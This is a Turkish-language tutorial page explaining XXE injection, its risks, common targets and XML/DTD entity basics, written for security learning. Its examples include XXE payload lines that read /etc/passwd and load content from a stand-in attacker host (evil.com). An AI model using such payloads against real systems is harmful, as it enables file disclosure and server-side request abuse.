XXE Injection: XML Güvenlik Açıkları

XML External Entity saldırıları ile sistem güvenliğini aşmak

<!ENTITY xxe SYSTEM "file:///etc/passwd">
# Sistemi ifşa et

XXE Injection Nedir?

XXE (XML External Entity) Injection, XML verilerini işleyen uygulamalarda bulunan bir web güvenlik açığıdır. Bu açık, saldırganın uygulamanın XML işleme sürecine müdahale etmesine ve genellikle sunucudaki dosyaları görüntülemesine, arkadaki sistemlerle etkileşime geçmesine olanak tanır.

OWASP Top 10 2017: XXE, 4. sırada yer alan kritik güvenlik açığıdır. Modern web uygulamalarında yaygın olan XML işleme nedeniyle büyük risk oluşturur.
XXE Neden Tehlikeli?
1. Dosya Okuma: /etc/passwd, config dosyaları, kaynak kodlar
2. SSRF Saldırıları: İç ağdaki servislere erişim
3. RCE Potansiyeli: Bazı durumlarda uzak kod çalıştırma
4. DoS Saldırıları: Billion Laughs Attack ile sistem çökerme
5. Port Scanning: İç network keşfi
Yaygın Hedefler:
  • SOAP Web Servisleri: XML tabanlı API'ler
  • RSS Okuyucuları: XML feed işleyicileri
  • Office Belgeler: DOCX, XLSX gibi formatlar
  • SVG Dosyaları: Vektör grafik formatı
  • XML RPC: Uzak prosedür çağrıları
  • SAML: Kimlik doğrulama protokolleri

XXE açıkları, XML spesifikasyonundaki çeşitli potansiyel olarak tehlikeli özelliklerin varlığı nedeniyle ortaya çıkar. Standart XML parser'ları, uygulamada normalde kullanılmasalar bile bu özellikleri desteklerler.

XML Temelleri ve DTD

XXE saldırılarını anlamak için önce XML ve DTD (Document Type Definition) kavramlarını bilmek gerekir. DTD, XML dokümanının yapısını tanımlayan ve entity (varlık) tanımlamalarını içeren bölümdür.

Temel XML Yapısı

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY company "Acme Corp">
]>
<stockCheck>
    <productId>123</productId>
    <company>&company;</company>
</stockCheck>

External Entity Tanımı

Entity Türleri
Internal Entity: Değeri DTD içinde tanımlı
External Entity: Değeri dış kaynaktan (dosya/URL) yüklenir
Parameter Entity: DTD içinde kullanılan özel entity türü
General Entity: XML dokümanında kullanılan genel entity
<!-- Internal Entity -->
<!ENTITY internal "İçerik değeri">

<!-- External Entity (Dosya) -->
<!ENTITY external SYSTEM "file:///etc/passwd">

<!-- External Entity (URL) -->
<!ENTITY remote SYSTEM "http://evil.com/payload">

<!-- Parameter Entity -->
<!ENTITY % param "ELEMENT user (#PCDATA)">
Tehlike: External entity'ler, XML parser'ının dış kaynaklardan veri yüklemesine neden olur. Bu, saldırganın kontrol edebildiği kaynaklar olabilir.

XXE Saldırı Türleri

XXE Saldırı Kategorileri

<!DOCTYPE secure [ <!ENTITY safe "protected"> ]>
parser.secure_processing = True

XML güvenliği, siber güvenliğin temelidir!